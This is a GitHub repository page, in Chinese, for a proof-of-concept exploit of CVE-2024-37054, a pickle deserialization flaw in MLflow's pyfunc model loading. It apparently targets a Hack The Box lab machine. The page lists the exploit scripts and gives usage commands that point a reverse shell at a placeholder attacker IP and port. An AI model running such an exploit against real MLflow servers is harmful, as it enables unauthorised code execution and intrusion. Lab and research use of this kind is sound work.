jimmexploit/CVE-2024-37054-PoC

GitHub: jimmexploit/CVE-2024-37054-PoC

该项目提供CVE-2024-37054的PoC,用于演示MLflow中pyfunc模型加载导致的任意代码执行漏洞。

Stars: 3 | Forks: 0

# 概述 CVE-2024-37054 的概念验证代码,该漏洞是 MLflow 0.9.0 至 2.14.1 版本中的一个严重反序列化漏洞。 当通过 `mlflow.pyfunc.load_model()` 加载恶意的 pyfunc 模型时,pickle 序列化的有效载荷会执行任意代码。 ## 文件列表 - `exploit.py` — 完整的利用程序:注册、训练、上传、触发(用于 HTB SmartHire 靶机) - `build_model.py` — 本地构建恶意模型(仅构建) ## 使用说明 ### 本地构建模型 ``` python3 build_model.py --lhost YOUR_IP --lport 4444 ``` ### 运行完整利用程序 ``` # 自动注册账户并利用 python3 exploit.py --lhost YOUR_IP --lport 4444 --atoz # 使用现有会话 python3 exploit.py --lhost YOUR_IP --lport 4444 --session "eyJjb21w..." ``` ## 免责声明 仅用于教育目的和经过授权的渗透测试。
标签:CVE-2024-37054, MLflow, pickle漏洞, 代码执行, 任意代码执行, 反序列化漏洞, 威胁模拟, 密钥泄露防护, 机器学习安全, 概念验证, 模型加载漏洞, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护